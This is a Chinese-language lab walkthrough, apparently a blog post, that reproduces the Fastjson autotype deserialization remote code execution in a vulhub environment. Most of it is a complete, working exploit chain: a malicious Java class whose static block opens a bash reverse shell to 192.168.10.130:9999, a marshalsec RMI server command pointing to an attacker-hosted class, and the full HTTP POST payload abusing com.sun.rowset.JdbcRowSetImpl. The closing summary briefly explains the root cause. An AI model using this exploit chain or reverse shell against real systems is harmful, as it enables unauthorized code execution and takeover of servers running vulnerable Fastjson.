
Fastjson介绍
Fastjson是阿里巴巴其中的开源项目之一,是一款将json字符串和java对象进行序列化和反序列化的开源json解析库

下面是Fastjson的一些优点



提供了autotype自省功能

下面是利用的大概流程,首先访问攻击者拿marshalsec启动的LDAP端口,之后会被指向一个恶意的站点,也就是攻击者启动的http服务,去执行恶意代码,建立反弹连接

复现:
还是拿vulhub搭建好环境

然后开始做准备步骤
编写一个恶意java文件,然后编译为class文件
import java.lang.Runtime; import java.lang.Process; public class touchfile{ static { try { Runtime rt = Runtime.getRuntime(); String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/192.168.10.130/9999 0>&1"}; Process pc = rt.exec(commands); pc.waitFor(); } catch (Exception e) { } } }

然后进入marshalsec-master目录下的target目录下执行,marshalsec是安装RMI的那个目录,target是编译后的目录
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.10.130:8000/#LinuxTouch" 6666
开启RMI服务器,监听6666端口,然后指向恶意的站点的8000端口,下面放LinuxTouch的class的恶意文件


监听9999端口

最后发送post数据包

POST / HTTP/1.1
Host:your-ip:8090
Accept-Encoding:gzip,deflate
Accept: /
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 160
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.10.130:6666/LinuxTouch",
"autoCommit":true
}
}
可以成功反弹shell
总结:
fastjson是阿里巴巴开发的一款将json字符串和java对象进行序列化和反序列化的开源json解析库。fastjson提供了autotype功能,在请求过程中,我们可以在请求包中通过修改@type的值,来反序列化为指定的类型,而fastjson在反序列化过程中会设置和获取类中的属性,如果类中存在恶意方法,就会导致代码执行等这类问题。